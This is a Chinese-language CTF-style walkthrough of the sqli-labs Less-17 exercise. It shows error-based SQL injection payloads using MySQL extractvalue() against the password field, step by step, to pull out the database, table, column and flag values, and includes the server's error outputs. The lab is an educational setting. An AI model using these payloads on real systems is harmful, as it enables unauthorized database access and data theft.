less-17 in sqli-labs

Less-17 报错注入【 ’ 】
通过判断发现注入点存在于passwd处(在uname处\无反应,passwd处\有报错)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

爆当前库名:1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
结果:XPATH syntax error: '~security~'

爆库名:1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e))#
结果:XPATH syntax error: '~security~

爆表名:1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#
结果:XPATH syntax error: '~hermesflag~'

爆列名:1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='hermesflag' limit 1,1),0x7e))#
结果:XPATH syntax error: '~flag~'

爆数据-1:1' and extractvalue(1,concat(0x7e,(select flag from hermesflag)))#
结果:XPATH syntax error: '~flag{327a6c4304ad5938eaf0efb6cc'
爆数据-2:1' and extractvalue(1,concat(0x7e,right((select flag from hermesflag),20)))#
结果:XPATH syntax error: '~938eaf0efb6cc3e53dc}'

最后结果:flag{327a6c4304ad5938eaf0efb6cc3e53dc}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值